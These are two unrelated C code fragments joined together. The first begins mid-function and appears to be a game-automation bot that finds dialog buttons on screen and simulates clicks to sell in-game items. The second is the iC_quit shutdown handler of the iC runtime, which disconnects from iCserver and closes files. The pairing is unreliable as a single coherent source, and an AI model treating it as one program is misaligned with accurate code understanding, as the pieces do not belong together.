Sleep(TALK_INTERVAL); } if(leader->getScreen()->locate(IDB_YES, &rect, &SALE_YES_CONDITION)) { TRACE("Found sale yes\n"); CSystem::leftClick(&rect); Sleep(TALK_INTERVAL); break; } Sleep(TALK_INTERVAL); } checkGoods(&goodsCounter); if(goodsCounter < 10) { done = TRUE; break; } } if(leader->getScreen()->locate(IDB_CANCEL, &rect, &SALE_CANCEL_CONDITION)) { TRACE("Found Sale Cancel\n"); CSystem::leftClick(&rect); Sleep(TALK_INTERVAL); } if(leader->getScreen()->colorDeviation(&NOT_SALE_CONDITION, RGB(255,255,255)) > 5) { CSystem::leftClick(&NOT_SALE_CONDITION); Sleep(TALK_INTERVAL); done = TRUE; break; } else if(leader->getScreen()->colorDeviation(&NOT_SALE_CONDITION2, RGB(255,255,255)) > 5) { CSystem::leftClick(&NOT_SALE_CONDITION2); Sleep(TALK_INTERVAL); done = TRUE; break; } Sleep(TALK_INTERVAL); } } writeLog(TEXT("出售魔石完成")); fuckingNP(); }
void iC_quit(int sig) { #ifdef RASPBERRYPI sig = (*iC_term)(sig); /* clear and unexport RASPBERRYPI stuff */ #endif /* RASPBERRYPI */ /******************************************************************** * The following termination function is an empty function * in the libict.a support library. * int iCend(void) { return -1; } * It may be implemented in a literal block of an iC source, in * which case that function will be linked in preference. * User implementations of iCend() should return 0, to activate * the debug message "== iCend complete ======". * * It can be used to free allocated memory, etc. * * If the iCbegin() function contains a fork() call, iCend() may have * a matching wait() call. *******************************************************************/ if ((sig >= QUIT_TERMINAL || sig == SIGINT) && iCend() != -1 /* iC termination function */ ) { #if YYDEBUG if (iC_debug & 0100) { fprintf(iC_outFP, "\n== iCend complete ======\n"); } #endif /* YYDEBUG */ } #ifdef TCP if (iC_sockFN > 0) { if (sig < SIGUSR1 || sig == QUIT_TERMINAL || sig == QUIT_DEBUGGER) { /* but not QUIT_SERVER */ #ifdef LOAD if (C_channel) { /* disconnect iClive - follow with '0' for iCserver */ snprintf(regBuf, REQUEST, "%hu:5,%hu:0", C_channel, C_channel); iC_send_msg_to_server(iC_sockFN, regBuf); #ifdef WIN32 Sleep(200); /* 200 ms in ms */ #else /* WIN32 */ nanosleep(&ms200, NULL); #endif /* WIN32 */ if (iC_micro) iC_microPrint("Disconnected", 0); } #endif /* LOAD */ if (iC_Xflag) { /* stop iCserver if this process started it */ snprintf(regBuf, REQUEST, "X%s", iC_iccNM); iC_send_msg_to_server(iC_sockFN, regBuf); } iC_send_msg_to_server(iC_sockFN, ""); /* 0 length message to disconnect from iCserver */ } close(iC_sockFN); /* close connection to iCserver */ } #endif /* TCP */ /******************************************************************** * Normal quit *******************************************************************/ fflush(iC_outFP); /* in case dangling debug messages without CR */ if (iC_outFP != stdout) { fclose(iC_outFP); } if ((iC_debug & DQ) == 0) { if (sig == QUIT_TERMINAL) { fprintf(iC_errFP, "\n'%s' stopped from terminal\n", iC_iccNM); } else if (sig == QUIT_DEBUGGER) { fprintf(iC_errFP, "\n'%s' stopped by debugger\n", iC_iccNM); } else if (sig == QUIT_SERVER) { fprintf(iC_errFP, "\n'%s' disconnected by server\n", iC_iccNM); } } if (sig == SIGINT) { fprintf(iC_errFP, "\n'%s' stopped by interrupt from terminal\n", iC_iccNM); } else if (sig == SIGSEGV) { fprintf(iC_errFP, "\n'%s' stopped by 'Invalid memory reference'\n", iC_iccNM); } else if (sig == SIGUSR1) { fprintf(iC_errFP, "\n'%s' stopped by 'non-recoverable run-time error'\n", iC_iccNM); } #if defined(TCP) && defined(LOAD) if (iC_savFP) { fflush(iC_savFP); fclose(iC_savFP); } if (iC_vcdFP) { fflush(iC_vcdFP); fclose(iC_vcdFP); } #endif /* defined(TCP) && defined(LOAD) */ #ifdef _MSDOS_ if (oldhandler && iC_debug & 03000) { /* reset the old interrupt handler */ #ifdef MSC _dos_setvect(INTR, oldhandler); #else /* MSC */ setvect(INTR, oldhandler); #endif /* MSC */ } #else /* ! _MSDOS_ Linux */ if (ttyparmFlag) { if (tcsetattr(0, TCSAFLUSH, &ttyparms) == -1) exit(-1); } #endif /* ! _MSDOS_ Linux */ if (iC_errFP != stderr) { fflush(iC_errFP); fclose(iC_errFP); } #if defined(TCP) && defined(EFENCE) free(rpyBuf); free(regBuf); #ifdef LOAD free(msgBuf); free(iC_outBuf); #endif /* LOAD */ #endif /* defined(TCP) && defined(EFENCE) */ exit(sig < QUIT_TERMINAL ? sig : 0); /* really quit */ } /* iC_quit */